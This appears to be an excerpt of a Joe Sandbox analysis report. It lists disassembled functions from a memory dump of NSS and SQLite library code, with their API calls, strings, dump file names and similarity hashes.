memcpy.VCRUNTIME140(?,?,?,?,00000000,?,?,?,00000000,?,?,?,?,?,?), ref: 6CD0FB3C
htonl.WSOCK32(00000000,?,?,?), ref: 6CD0FB64
htonl.WSOCK32(?,00000000,?,?,?), ref: 6CD0FB6D
memcpy.VCRUNTIME140(?,?,?,?,00000000,?,?,?), ref: 6CD0FB8F
htonl.WSOCK32(00000000,?,?,00000000,?,?,?), ref: 6CD0FBB8
htonl.WSOCK32(?,00000000,?,?,00000000,?,?,?), ref: 6CD0FBC1
memcpy.VCRUNTIME140(?,?,?,?,00000000,?,?,00000000,?,?,?), ref: 6CD0FBE0
htonl.WSOCK32(00000000,?,?,00000000,?,?,00000000,?,?,?), ref: 6CD0FBF7
htonl.WSOCK32(?,00000000,?,?,00000000,?,?,00000000,?,?,?), ref: 6CD0FBFD
memcpy.VCRUNTIME140(?,?,?,?,00000000,?,?,00000000,?,?,00000000,?,?,?), ref: 6CD0FC22
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD0FC4A
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD0FC5A

Strings

(, xrefs: 6CD0F91A
H, xrefs: 6CD0F92A

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: htonl$K11_memcpy$Value$ExtractItem_UtilWrap$AllocCriticalEnterErrorSectionUnlockZfree
String ID: ($H
API String ID: 3401619287-1089529422
Opcode ID: 2e4ebae6066755a574975363d9e398c49dae99ffa953b6e4cc9e92ad25e9f4da
Instruction ID: 938e505d43019cbf300104d8fd3cd500f84647c103d0b8f502db11750fcc0152
Opcode Fuzzy Hash: 2e4ebae6066755a574975363d9e398c49dae99ffa953b6e4cc9e92ad25e9f4da
Instruction Fuzzy Hash: F3C1B075604304EFD700CF28D880A9AB7F4FF88718F15855DE9898B722E731E846CBA6

Function 6CC73C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC73C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CC73D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC73EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC73ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC73F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC74052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC7406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CC7410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC7449C

Strings

%s at line %d of [%.10s], xrefs: 6CC74495, 6CC744F9, 6CC7459E, 6CC74769, 6CC74809
database corruption, xrefs: 6CC74490, 6CC744F4, 6CC74599, 6CC74764, 6CC74804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC74452, 6CC74486, 6CC744EA, 6CC74571, 6CC74580, 6CC7458F, 6CC7475A, 6CC747FA

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: dbad37a867f06f36e289dbfaaff362cc58fd05d67f5cdda151f320bc13af969a
Instruction ID: 0c15b299b0f353183bad74367c931a2a68687cd2a8061ed72e944158eb9f34bb
Opcode Fuzzy Hash: dbad37a867f06f36e289dbfaaff362cc58fd05d67f5cdda151f320bc13af969a
Instruction Fuzzy Hash: 03828075A04205DFCB24CF69C580B9AB7B2FF49318F298199D905ABB51E731EC42CFA1

Function 6CD4AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CD4ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CD4ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CD4ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CD4AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CD4ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CD4ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CD4ADF0

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD4B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CD4B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CD4B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CD4B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CD4B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CD4B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CD4B40C

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 10e15032fe119fb1fec011cd4e810ccc66df98909e7562410f785c25ae82aa8e
Instruction ID: a115a0fa7113959a559b1c3a5742e4b56578b0d90e1c87337eb65fe0a8144172
Opcode Fuzzy Hash: 10e15032fe119fb1fec011cd4e810ccc66df98909e7562410f785c25ae82aa8e
Instruction Fuzzy Hash: 98229D71A04701EFE710CF14CC44B9A77A1AF9430CF248568EA585B7F2E772E859CBA6

Function 6CC91F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC925F3

Strings

H, xrefs: 6CC9329F
'%s' is not a function, xrefs: 6CC92FD2
cannot join using column %s - column not present in both tables, xrefs: 6CC932AB
table %s has %d values for %d columns, xrefs: 6CC9316C
%s.%s.%s, xrefs: 6CC9302D
recursive reference in a subquery: %s, xrefs: 6CC922E5
too many references to "%s": max 65535, xrefs: 6CC92FB6
access to view "%s" prohibited, xrefs: 6CC92F4A
no tables specified, xrefs: 6CC926BE
unsafe use of virtual table "%s", xrefs: 6CC930D1
%s.%s, xrefs: 6CC92D68
no such table: %s, xrefs: 6CC926AC
H, xrefs: 6CC9322D
multiple recursive references: %s, xrefs: 6CC922E0
too many columns in result set, xrefs: 6CC93012
no such index: "%s", xrefs: 6CC9319D
cannot have both ON and USING clauses in the same join, xrefs: 6CC932B5
a NATURAL join may not have an ON or USING clause, xrefs: 6CC932C1

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 5b18c69a3a0dce9700f1db989b195fcceff336a7de8b8b4aa94a29c3966b4098
Instruction ID: 5b9a09a28637f8a8d0d17bae822748e18f072d8cad8837875cf7ff6a5c4eec56
Opcode Fuzzy Hash: 5b18c69a3a0dce9700f1db989b195fcceff336a7de8b8b4aa94a29c3966b4098
Instruction Fuzzy Hash: 0CD28074E04259CFDB04CF95C4A4B9DB7B1FF49308F2881A9D899ABB52E731E846CB50

Function 6CCCECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CCCED38

Part of subcall function 6CC64F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC64FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CCCEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CCCEFE4

Part of subcall function 6CD8DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CC65001,?,00000003,00000000), ref: 6CD8DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CCCF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CCCF129
sqlite3_mprintf.NSS3(optimize), ref: 6CCCF1D1
sqlite3_free.NSS3(?), ref: 6CCCF368

Strings

fts4aux, xrefs: 6CCCECF9
fts4, xrefs: 6CCCF2AD
simple, xrefs: 6CCCED79
porter, xrefs: 6CCCED97
optimize, xrefs: 6CCCF199, 6CCCF1CC, 6CCCF211
offsets, xrefs: 6CCCEFAF, 6CCCEFDF, 6CCCF01F
fts3_tokenizer, xrefs: 6CCCEE1A, 6CCCEEA8
fts3tokenize, xrefs: 6CCCF30F
matchinfo, xrefs: 6CCCF04F, 6CCCF082, 6CCCF0C2, 6CCCF0F2, 6CCCF124, 6CCCF169
snippet, xrefs: 6CCCEF05, 6CCCEF37, 6CCCEF7C
unicode61, xrefs: 6CCCEDB5
fts3, xrefs: 6CCCF247

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 1bb4d81e1c427166138d1ff93bc4336bfe610e2afebc03db26ab5331b5f0b08f
Instruction ID: 0eaaa125a6f621eca871282af80b18743061253f1ca4b43b6537515ee2aee980
Opcode Fuzzy Hash: 1bb4d81e1c427166138d1ff93bc4336bfe610e2afebc03db26ab5331b5f0b08f
Instruction Fuzzy Hash: 1602CFB1B047005FE705AF21A88672B36B2BBC570CF28853DD85A87B41FB75E8568793

Function 6CD47C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD47C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CD47C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CD47D1E

Part of subcall function 6CD47870: SECOID_FindOID_Util.NSS3(?,?,?,6CD491C5), ref: 6CD4788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD47D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CD47D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CD47DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CD47DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD47DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CD47E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CD47E58

Part of subcall function 6CD47870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD491C5), ref: 6CD478BB
Part of subcall function 6CD47870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CD491C5), ref: 6CD478FA
Part of subcall function 6CD47870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CD491C5), ref: 6CD47930
Part of subcall function 6CD47870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CD491C5), ref: 6CD47951
Part of subcall function 6CD47870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CD47964
Part of subcall function 6CD47870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CD4797A
Part of subcall function 6CD47870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CD47988
Part of subcall function 6CD47870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CD47998
Part of subcall function 6CD47870: free.MOZGLUE(00000000), ref: 6CD479A7
Part of subcall function 6CD47870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CD491C5), ref: 6CD479BB
Part of subcall function 6CD47870: PR_GetCurrentThread.NSS3(?,?,?,?,6CD491C5), ref: 6CD479CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD47E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CD47F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CD47F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CD47FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CD47FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CD48038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CD48050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CD48093
SECOID_FindOID_Util.NSS3 ref: 6CD47F29

Part of subcall function 6CD407B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CCE8298,?,?,?,6CCDFCE5,?), ref: 6CD407BF
Part of subcall function 6CD407B0: PL_HashTableLookup.NSS3(?,?), ref: 6CD407E6
Part of subcall function 6CD407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CD4081B
Part of subcall function 6CD407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CD40825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CD48072
SECOID_FindOID_Util.NSS3 ref: 6CD480F5

Part of subcall function 6CD4BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CD4800A,00000000,?,00000000,?), ref: 6CD4BC3F

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: aca91c2c2869b65580ac25f7cc1850cab1bde57fe7a7bc5abcb9dea401bea26f
Instruction ID: ef7a85ad4f08dc5c88eb4d6eca71c0af302f83556f99fe033be8babc13b10f42
Opcode Fuzzy Hash: aca91c2c2869b65580ac25f7cc1850cab1bde57fe7a7bc5abcb9dea401bea26f
Instruction Fuzzy Hash: 07E19171604301EFD710CF28C880B5A77E5AF45348F158A6DEA999BB71E731EC05CB92

Function 6CCD1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CCD1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CCD1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CCD1CA1
GetLengthSid.ADVAPI32(?), ref: 6CCD1CA9
malloc.MOZGLUE(00000000), ref: 6CCD1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CCD1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CCD1CE4
GetLengthSid.ADVAPI32(?), ref: 6CCD1CEC
malloc.MOZGLUE(00000000), ref: 6CCD1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CCD1D0F
CloseHandle.KERNEL32(?), ref: 6CCD1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CCD1D4D
GetLastError.KERNEL32 ref: 6CCD1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CCD1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CCD1D7A

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 675969ac7a0a371f8eede39ae791d98af016df359b05e34281296198b6d01165
Instruction ID: 8c57e50f6203a9e49f3a4c1966db1ca38b41a9e92409e305be09fed960a60c0e
Opcode Fuzzy Hash: 675969ac7a0a371f8eede39ae791d98af016df359b05e34281296198b6d01165
Instruction Fuzzy Hash: 053146B570021C9FEF21AF64CC48BAA7BB8FF4A345F0045A5F60992150E731A995CF65

Function 6CCD3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CCD3DFB
__allrem.LIBCMT ref: 6CCD3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCD3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CCD4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCD40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCD415F
__allrem.LIBCMT ref: 6CCD416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCD4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCD42AB
__allrem.LIBCMT ref: 6CCD42B7

Strings

%03d, xrefs: 6CCD42E8
%lld, xrefs: 6CCD3FB2
%04d, xrefs: 6CCD407B
%02d, xrefs: 6CCD4086

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 0dc819e4474f6fd16f87c6866e6b083c8b682fe57009c3fcc85b91af10502f1f
Instruction ID: 27d6c654f565deee5ab04d9d16c853a8f09a73ceae7808e688d43af062654450
Opcode Fuzzy Hash: 0dc819e4474f6fd16f87c6866e6b083c8b682fe57009c3fcc85b91af10502f1f
Instruction Fuzzy Hash: 84F12271A087409FD715CF38C881A6BB7F6BF85304F198A2EE69597A51F730E846CB42

Function 6CCDEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCDEF63

Part of subcall function 6CCE87D0: PORT_NewArena_Util.NSS3(00000800,6CCDEF74,00000000), ref: 6CCE87E8
Part of subcall function 6CCE87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CCDEF74,00000000), ref: 6CCE87FD
Part of subcall function 6CCE87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CCE884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CCDF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCDF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CCDF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CCDF374
PL_strcasecmp.NSS3(6CE22FD4,?), ref: 6CCDF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CCDF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CCDF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CCDF67D
CERT_DestroyName.NSS3(?), ref: 6CCDF68B

Part of subcall function 6CCE8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CCE8338
Part of subcall function 6CCE8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CCE8364
Part of subcall function 6CCE8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CCE838E
Part of subcall function 6CCE8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CCE83A5
Part of subcall function 6CCE8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCE83E3

Part of subcall function 6CCE84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CCE84D9
Part of subcall function 6CCE84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CCE8528

Part of subcall function 6CCE8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CCDF599,?,00000000), ref: 6CCE8955

Strings

*, xrefs: 6CCDF3C6
", xrefs: 6CCDF21B
oid., xrefs: 6CCDF2CF

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: ba9b7d2670603442dbd4079ed477d43b22dcd36c0a6a64949386cde5b03a6648
Instruction ID: 00785e51e75e8ca31390dc4016754a7b3ec4984094c6a9f351f7e7bd1f0e9c00
Opcode Fuzzy Hash: ba9b7d2670603442dbd4079ed477d43b22dcd36c0a6a64949386cde5b03a6648
Instruction Fuzzy Hash: 672228716083418FD710CE29C89076AB7E6BB85318F1A4A2EE6D587B91F731FC46C792

Function 6CC81C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC81D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC81EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CC81FB7

Strings

SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CC81F83
unknown error, xrefs: 6CC82291
another row available, xrefs: 6CC82287
sqlite_master, xrefs: 6CC81C61
sqlite_temp_master, xrefs: 6CC81C5C
abort due to ROLLBACK, xrefs: 6CC82223
no more rows available, xrefs: 6CC82264
attached databases must use the same text encoding as main database, xrefs: 6CC820CA
table, xrefs: 6CC81C8B
unsupported file format, xrefs: 6CC82188

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
